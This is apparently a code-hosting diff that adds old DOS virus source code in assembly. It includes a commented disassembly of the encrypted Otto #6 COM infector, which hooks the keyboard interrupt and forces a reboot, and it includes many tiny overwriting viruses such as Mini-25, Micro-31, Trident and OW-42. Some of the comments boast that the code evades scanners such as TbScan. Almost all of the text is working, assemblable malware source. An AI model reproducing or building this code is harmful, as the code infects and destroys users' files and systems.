||||
pop si
|
||||
mov cx,17Bh ; 397 bytes
|
||||
lea dx,[si+2A4h] ; Set buffer to encrypted data
|
||||
mov ah,40h ; Write out the virus to the
|
||||
; file
|
||||
int 21h
|
||||
jc quit ; Jump if carry Set
|
||||
call move_ptr_start ; Move file pointer to start
|
||||
lea dx,[si+new_jump] ; Load DX with the new jump
|
||||
mov ah,40h ;
|
||||
mov cx,3 ; Set for 3 bytes
|
||||
int 21h ; Write out the new jump
|
||||
jc quit ; Jump if carry Set
|
||||
pop dx
|
||||
pop cx
|
||||
mov cl,3 ; Set low order time with
|
||||
; our identity byte
|
||||
mov ax,5701h
|
||||
int 21h ; Set file date/time
|
||||
mov ah,3Eh ;
|
||||
int 21h ; Close the file
|
||||
|
||||
;---
|
||||
; Hmm. This routine looks a bit familiar... Maybe it was "borrowed" from the
|
||||
; RAGE Virus we wrote...
|
||||
;---
|
||||
|
||||
quit:
|
||||
push si ; Save our SI
|
||||
mov al,ds:enc_bit ; Load AL with value of the
|
||||
; encryption bit
|
||||
xor cx,cx ;
|
||||
add cx,si ; Load CX with original 3 bytes
|
||||
add cx,3 ; Adjust value for offset of
|
||||
; virgin code
|
||||
mov bp,103h ; Load BP with offset of 103h
|
||||
; Where the virgin code starts
|
||||
mov si,bp ; Copy this location to SI
|
||||
call encrypt ; Encrypt this portion of the
|
||||
; code
|
||||
pop si ; Restore original SI
|
||||
mov bp,offset start ; Load BP with offset of start
|
||||
; of the virgin code
|
||||
jmp bp ; Jump to start of virgin code
|
||||
otto_vir endp
|
||||
|
||||
encrypt proc near
|
||||
encryption:
|
||||
mov ah,[si]
|
||||
xor ah,al
|
||||
mov [si],ah
|
||||
inc si
|
||||
ror al,1 ; Rotate
|
||||
loop encryption
|
||||
|
||||
retn
|
||||
encrypt endp
|
||||
|
||||
db 'OTTO VIRUS written by:OTTO '
|
||||
enc_ax dw 4353h ; Encryption shit loaded in AX
|
||||
enc_dh db 48h ; Encryption shit loaded in DH
|
||||
db 54h
|
||||
adj_ptr_loc dw 4355h ; Adjusted file pointer
|
||||
; location (ptr_loc-3 bytes)
|
||||
work db 4Bh ; A work buffer
|
||||
ptr_loc db 20h ; File pointer location
|
||||
copyright db 'COPYRIGHT MICROSHAFT INDUSTRIES '
|
||||
db '1992 (tm.)PQR'
|
||||
;---
|
||||
; Everything below here appeared as a bunch of hex shit I had to convert...
|
||||
;---
|
||||
|
||||
move_ptr_start proc near
|
||||
mov ax,4200h ; Move fp to start (B80042)
|
||||
xor cx,cx ; (33C9)
|
||||
xor dx,dx ; (33D2)
|
||||
int 21h ; Call DOS (CD21)
|
||||
pop dx ; (5A)
|
||||
pop cx ; (59)
|
||||
pop ax ; (58)
|
||||
ret ; (C3)
|
||||
move_ptr_start endp
|
||||
|
||||
filespec db '*.COM',0 ; Location 295h
|
||||
|
||||
three_bytes db 0ebh,46h,90h ; jmp 148 (Location 29Bh)
|
||||
new_jump db 0e9h,4ah,00h ; jmp 150 (Loc 29Eh)
|
||||
push ax ; Loc 2A1h
|
||||
dec bp ; Loc 2A2h
|
||||
db 00h ; Loc 2A3h
|
||||
|
||||
code ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,337 @@
|
||||
; Otto #6 Virus, By Youth Against McAfee
|
||||
; Disassembly By The Attitude Adjuster of Virulent Graffiti for
|
||||
; Infectious Diseases 3 and some other uses...
|
||||
|
||||
; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup
|
||||
; TLINK /t otto5.obj
|
||||
|
||||
; The assembled code will NOT execute... a big thanks to YAM for that one! The
|
||||
; only workaround I got is to trace thru til the mov [00FFh], al, and just
|
||||
; move the ip ahead to startencrypt!
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
start:
|
||||
db 0e9h, 02, 00 ; jmp near virusentry
|
||||
|
||||
nop ; they had to be here
|
||||
nop ; in the original
|
||||
|
||||
virusentry:
|
||||
call getdelta ; get delta ofs
|
||||
getdelta:
|
||||
pop si
|
||||
push si
|
||||
|
||||
sub si,offset getdelta ; sub original ofs
|
||||
|
||||
pop ax ; delta in ax
|
||||
sub ax,100h
|
||||
|
||||
mov ds:[00FFh],al ; ds:00FFh == al
|
||||
push si ; save delta
|
||||
|
||||
mov cx,260h ; ieterations
|
||||
add si,offset startencrypt
|
||||
cryptloop:
|
||||
xor [si],al ; xor
|
||||
inc si
|
||||
rol al,1 ; rotate
|
||||
loop cryptloop ; loop if cx > 0
|
||||
pop si ; delta in si
|
||||
|
||||
startencrypt:
|
||||
mov ax,word ptr ds:[first3+si] ; restore first
|
||||
mov dh,byte ptr ds:[first3+si+2] ; 3 bytes
|
||||
mov word ptr ds:[100h],ax
|
||||
mov byte ptr ds:[102h],dh
|
||||
|
||||
lea dx,[si+file] ; find *.COM
|
||||
xor cx,cx
|
||||
mov ah,4Eh
|
||||
findfirstnext:
|
||||
int 21h
|
||||
|
||||
jnc checkinfected ; carry?
|
||||
jmp takeithome ; no more files
|
||||
|
||||
checkinfected: ; check file
|
||||
mov dx,offset 9Eh ; filename in default
|
||||
mov ax,3D02h ; dta
|
||||
int 21h ; open file r/w
|
||||
|
||||
mov bx,ax ; handle in BX
|
||||
|
||||
mov ax,5700h ; get file date
|
||||
int 21h
|
||||
|
||||
cmp cl,3 ; cl = 3?
|
||||
jne infectitthen ; nope
|
||||
|
||||
mov ah,3Eh ; infected, close
|
||||
int 21h
|
||||
|
||||
mov ah,4Fh ; find next *.COM
|
||||
jmp short findfirstnext ; again
|
||||
|
||||
infectitthen: ; infect the file
|
||||
push cx ; push time
|
||||
push dx ; push date
|
||||
call lseekstart ; lseek beginning
|
||||
|
||||
lea dx,[si+first3] ; buffer at first3
|
||||
mov cx,3 ; read 3 bytes
|
||||
mov ah,3Fh
|
||||
int 21h
|
||||
|
||||
xor cx,cx ; lseek the end
|
||||
xor dx,dx ; fileside DX:AX
|
||||
mov ax,4202h
|
||||
int 21h
|
||||
; 4D1h
|
||||
mov word ptr ds:[fsize+si],ax ; save fsize
|
||||
sub ax,3 ; calculate jump
|
||||
mov word ptr ds:[fsize2+si],ax
|
||||
call lseekstart
|
||||
add ax,6 ; fsize+3
|
||||
|
||||
mov byte ptr ds:[lob+si],al ; lob of fsize+3
|
||||
mov cx,word ptr ds:[fsize+si] ; size of file
|
||||
lea dx,[si+heap] ; point at buffer
|
||||
mov ah,3Fh
|
||||
int 21h ; read
|
||||
|
||||
push si ; push delta
|
||||
mov al,byte ptr ds:[lob+si] ; lod of fsize+3
|
||||
add si,offset ds:[heap+3] ; point at code
|
||||
call encrypt ; encrypt original
|
||||
pop si ; pop delta
|
||||
call lseekstart ; lseek beginning
|
||||
|
||||
mov cx,word ptr ds:[fsize+si] ; fsize
|
||||
lea dx,[si+heap] ; buffer at heap
|
||||
mov ah,40h ; write file
|
||||
int 21h
|
||||
|
||||
jnc finishinfect ; error (attributes)
|
||||
jmp short takeithome ; yes
|
||||
finishinfect:
|
||||
lea dx,[si+virusentry] ; write encrypter
|
||||
mov cx,startencrypt-virusentry ; to file
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
push si ; push delta
|
||||
mov cx,heap-startencrypt ; virus length-crypt
|
||||
; mov di,si ; delta in di
|
||||
db 89h, 0F7h ; alternate encoding
|
||||
add di,offset ds:[heap] ; point at heap
|
||||
add si,offset ds:[startencrypt] ; point at virus
|
||||
rep movsb ; copy code to heap
|
||||
pop si ; pop delta
|
||||
|
||||
push si ; push delta
|
||||
mov al,byte ptr ds:[lob+si] ; lob of fsize+3
|
||||
mov cx,heap-startencrypt ; virus length
|
||||
add si,offset ds:[heap] ; buffer at heap
|
||||
call encrypt ; encrypt heap
|
||||
pop si ; pop delta
|
||||
|
||||
mov cx,heap-startencrypt ; virus length
|
||||
lea dx,[si+heap] ; buffer at heap
|
||||
mov ah,40h ; write virus
|
||||
int 21h
|
||||
jc takeithome ; error?
|
||||
|
||||
call lseekstart
|
||||
|
||||
lea dx,[si+jump] ; buffer at jump
|
||||
mov ah,40h ; write jump
|
||||
mov cx,3
|
||||
int 21h
|
||||
jc takeithome ; error?
|
||||
|
||||
pop dx ; pop date
|
||||
pop cx ; pop time
|
||||
mov cl,3 ; set infected flag
|
||||
mov ax,5701h ; set time
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh ; close file
|
||||
int 21h
|
||||
|
||||
takeithome:
|
||||
push si ; push delta
|
||||
mov al, byte ptr ds:[00FFh] ; saved xor byte
|
||||
xor cx,cx
|
||||
; add cx,si ; the pricks use
|
||||
db 01, 0f1h ; alternate encoding
|
||||
add cx,3 ; ieterations in cx
|
||||
mov bp,103h
|
||||
mov si,bp ; unencrypt old code
|
||||
call encrypt
|
||||
pop si ; pop delta
|
||||
|
||||
mov bp,100h ; where to RET to
|
||||
|
||||
mov ax,0B0Bh ; RuThereCall
|
||||
int 9
|
||||
|
||||
cmp ax,0BEEFh ; if beefy, it's
|
||||
je skipinstall ; installed
|
||||
|
||||
xor ax, ax
|
||||
mov ds, ax ; interrupt table
|
||||
lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX
|
||||
|
||||
push bp ; push ret addr
|
||||
mov bp,offset ds:[old9] ; JMP FAR PTR
|
||||
mov cs:[bp+si+1],bx ; offset
|
||||
mov cs:[bp+si+3],ds ; segment
|
||||
pop bp ; pop ret addr
|
||||
|
||||
mov bx,es
|
||||
dec bx ; our MCB paragraph
|
||||
mov ds,bx
|
||||
sub word ptr ds:[0003],80h ; allow for us to get
|
||||
; some memory
|
||||
mov ax, word ptr ds:[0012h] ; 1st unused segment
|
||||
sub ax,80h
|
||||
mov word ptr ds:[0012h],ax ; replace valu
|
||||
|
||||
mov es,ax ; es = our new seg
|
||||
push cs ; ds = cs
|
||||
pop ds
|
||||
xor di,di ; es:0000 = dest.
|
||||
; mov bx,si ; more alternate
|
||||
db 89h, 0f3h ; encoding!!
|
||||
lea si,[bx+our9] ; buffer at our9
|
||||
mov cx,200 ; more than enough
|
||||
rep movsb ; copy 200 bytes
|
||||
|
||||
mov ds,cx ; cx = 0000
|
||||
mov word ptr ds:[9*4],0 ; offset (int 9)
|
||||
mov word ptr ds:[9*4+2],es ; segment (int 9)
|
||||
skipinstall:
|
||||
push cs ; restore segments
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
push bp ; return to 100h
|
||||
ret
|
||||
|
||||
encrypt: ; encrypt
|
||||
xor [si],al ; xor
|
||||
inc si
|
||||
rol al,1 ; rotate left
|
||||
loop encrypt ; Loop if cx > 0
|
||||
ret
|
||||
|
||||
db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, '
|
||||
db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)'
|
||||
|
||||
lseekstart:
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
mov ax, 4200h ; lseek beginning
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
our9: ; our int9 handler
|
||||
cmp ax, 0B0Bh
|
||||
jnz NotRuThere ; not an ruthere
|
||||
mov ax, 0BEEFh
|
||||
IRet ; int return
|
||||
NotRuThere:
|
||||
push ax ; save registers
|
||||
push bx
|
||||
push ds
|
||||
|
||||
xor ax,ax ; BIOS segment
|
||||
mov ds,ax
|
||||
in al,60h ; get keyboard input
|
||||
mov bl, byte ptr ds:[0417h] ; get shift status
|
||||
test bl,08 ; alt pressed?
|
||||
jz removeregistersandleave ; no
|
||||
test bl,04 ; ctrl pressed?
|
||||
jz whyisthishere ; no
|
||||
cmp al, 53h ; delete?
|
||||
jnz removeregistersandleave ; nope!
|
||||
and bl,0F3h ; mask off bits
|
||||
mov byte ptr ds:[0417h],bl ; place in bios
|
||||
jmp onwardbuttheads ; go on
|
||||
|
||||
whyisthishere:
|
||||
cmp al,4Ah ; why is this here?
|
||||
jne removeregistersandleave
|
||||
removeregistersandleave:
|
||||
pop ds ; remove registers
|
||||
pop bx
|
||||
pop ax
|
||||
; jmp returntoold9 ; more wierd
|
||||
db 0e9h, 20h, 00 ; encoding!
|
||||
|
||||
onwardbuttheads:
|
||||
push cs ; ds = cs
|
||||
pop ds
|
||||
|
||||
mov ax,3 ; 80x25 text mode
|
||||
int 10h
|
||||
|
||||
mov ah,2 ; set cpos
|
||||
mov bh,0
|
||||
mov dx,0A14h ; 10,20
|
||||
int 10h
|
||||
|
||||
mov si,yamlogo-our9 ; point to logo
|
||||
pointlessloop:
|
||||
loop pointlessloop
|
||||
|
||||
lodsb ; load string byte
|
||||
|
||||
cmp al,0 ; end of string?
|
||||
je coldbootus ; yes
|
||||
|
||||
mov ah,0Eh ; display char in al
|
||||
int 10h
|
||||
|
||||
jmp short pointlessloop
|
||||
|
||||
returntoold9:
|
||||
old9 db 0EAh ; JMP FAR PTR
|
||||
dd 00000000 ; Int 9h
|
||||
|
||||
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
|
||||
db ' ',0
|
||||
|
||||
coldbootus:
|
||||
mov dx,28h
|
||||
mov ds,dx ; DS = 0028h
|
||||
mov word ptr ds:[0072h],0 ; DS:0072h=0
|
||||
|
||||
; the above does nothing, as the byte they are looking to modify is
|
||||
; the warm-boot status byte, at 0040:0072h... duh...
|
||||
|
||||
db 0EAh ; JMP FAR PTR
|
||||
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
|
||||
|
||||
file db '*.COM',0 ; search wildcard
|
||||
|
||||
first3 db 0CDh, 20h, 00h ; buffered 1st 3
|
||||
|
||||
jump db 0E9h ; jmp near
|
||||
fsize2 db 50h, 01h
|
||||
|
||||
lob db 56h ; lob of fsize+3
|
||||
|
||||
fsize db 53h, 01h ; filesize
|
||||
|
||||
heap:
|
||||
end start
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,13 @@
|
||||
Main: Mov Ah,4eh
|
||||
Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
On2: Int 21h
|
||||
Mov Dl,Length
|
||||
FileSpec Db '*.*',0
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,12 @@
|
||||
Lea Dx,Fs
|
||||
Mov Ah,78
|
||||
Int 33
|
||||
Mov Dx,9eh
|
||||
Mov Ah,61
|
||||
o1: Int 33
|
||||
Xchg Ax,Bx
|
||||
Mov Dl,27
|
||||
FS Db '*.*',0
|
||||
Xchg Cx,Dx
|
||||
Mov Ah,64
|
||||
Jmp o1
|
||||
@@ -0,0 +1,13 @@
|
||||
Main: Lea Dx,FileSpec
|
||||
Mov Ah,4eh
|
||||
Int 21h
|
||||
Mov Dx,9eh
|
||||
Mov Ah,3ch
|
||||
Int 21h
|
||||
Lea Dx,Main
|
||||
Mov Bh,40h
|
||||
Mov Cl,Length
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,13 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,14 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
On1: Ret
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,17 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ah,3dh
|
||||
inc ax
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
On1: Jmp On2
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,20 @@
|
||||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc Ende
|
||||
Mov Ax,3d01h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,19 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov bh,40h
|
||||
Mov Cl,Length
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On2
|
||||
On1: Ret
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,28 @@
|
||||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc On2
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Ah
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Db 'Trident'
|
||||
On2: Mov Ah,2ch
|
||||
Int 21h
|
||||
Cmp Dl,10
|
||||
Ja Ende
|
||||
Mov Al,2
|
||||
Xor Dx,Dx
|
||||
Int 25h
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,28 @@
|
||||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc On2
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Ah
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Db 'Trident'
|
||||
On2: Mov Ah,2ch
|
||||
Int 21h
|
||||
Cmp Dl,10
|
||||
Ja Ende
|
||||
Mov Al,2
|
||||
Xor Dx,Dx
|
||||
Int 25h
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,20 @@
|
||||
Main:
|
||||
Mov Ah,4eh
|
||||
On1: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Jc Ende
|
||||
Mov Ax,3d01h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On1
|
||||
FileSpec Db '*.com',0
|
||||
Ende: Ret
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,20 @@
|
||||
;
|
||||
; Mini-25
|
||||
;
|
||||
; Overwrites the first file in a directory
|
||||
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Db '*.*',0
|
||||
Main: Mov Ah,4eh
|
||||
Mov Dx,Cx
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,19 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov bh,40h
|
||||
Mov Cl,Length
|
||||
Lea Dx,Main
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp On2
|
||||
On1: Ret
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,17 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
jc on1
|
||||
Mov Ah,3dh
|
||||
inc ax
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
On1: Jmp On2
|
||||
FileSpec Db '*.COM',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,14 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ax,3d02h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
On1: Ret
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,13 @@
|
||||
Main: Lea Dx,FileSpec
|
||||
Mov Ah,4eh
|
||||
Int 21h
|
||||
Mov Dx,9eh
|
||||
Mov Ah,3ch
|
||||
Int 21h
|
||||
Lea Dx,Main
|
||||
Mov Bh,40h
|
||||
Mov Cl,Length
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,13 @@
|
||||
Main: Mov Ah,4eh
|
||||
On2: Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Lea Dx,Main
|
||||
Mov Cl,Length
|
||||
Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,13 @@
|
||||
Main: Mov Ah,4eh
|
||||
Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Mov Dx,9eh
|
||||
On2: Int 21h
|
||||
Mov Dl,Length
|
||||
FileSpec Db '*.*',0
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,20 @@
|
||||
;
|
||||
; Mini-25
|
||||
;
|
||||
; Overwrites the first file in a directory
|
||||
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Main: Mov Ah,4eh
|
||||
Lea Dx,FileSpec
|
||||
Int 21h
|
||||
Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Mov Bh,40h
|
||||
Xchg Cx,Dx
|
||||
Xchg Ax,Bx
|
||||
Jmp On2
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,26 @@
|
||||
;
|
||||
; Micro-31
|
||||
;
|
||||
; Infects as many files as there are handles aveable. It creates 158 byte
|
||||
; file containing a replicating copy of the virus. The effective program
|
||||
; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
|
||||
; and Gobbler II.
|
||||
;
|
||||
|
||||
FNAM Equ 09eh
|
||||
|
||||
Main: Mov Ah,4eh
|
||||
Seek: Lea Dx,FileSpec
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
Do: Mov Ah,3ch
|
||||
Lea Dx,FNAM
|
||||
On2: Int 21h
|
||||
FileSpec Db '*.*',0
|
||||
Xchg Dx,Cx
|
||||
Mov Bh,40h
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Mov Ah,4fh
|
||||
Jmp Seek
|
||||
Length Equ $-Main
|
||||
@@ -0,0 +1,39 @@
|
||||
;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
|
||||
;
|
||||
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
|
||||
|
||||
org 0100h
|
||||
|
||||
start: mov ah,4Eh ; find first file
|
||||
recurse:
|
||||
mov dx,0123h ; matching filemask, "*.*"
|
||||
int 21h
|
||||
|
||||
|
||||
db 72h,20h ;hand-coded jump on carry to
|
||||
;exit if no more files found
|
||||
mov ax,3D01h
|
||||
mov dx,009Eh
|
||||
int 21h
|
||||
|
||||
mov bh,40h
|
||||
mov dx,0100h ;starting from beginning
|
||||
xchg ax,bx ;put handle in ax
|
||||
mov cl,2Ah ;to write: 42 bytes of virus
|
||||
int 21h ;write the virus
|
||||
mov ah,3Eh ;close the file
|
||||
int 21h
|
||||
|
||||
mov ah,4Fh ;find next file
|
||||
jmp Short recurse
|
||||
|
||||
|
||||
db "*.COM" ;file_mask
|
||||
dw 0C300h ;hand-coded return
|
||||
|
||||
CODE ENDS
|
||||
END START
|
||||
|
||||
Reference in New Issue
Block a user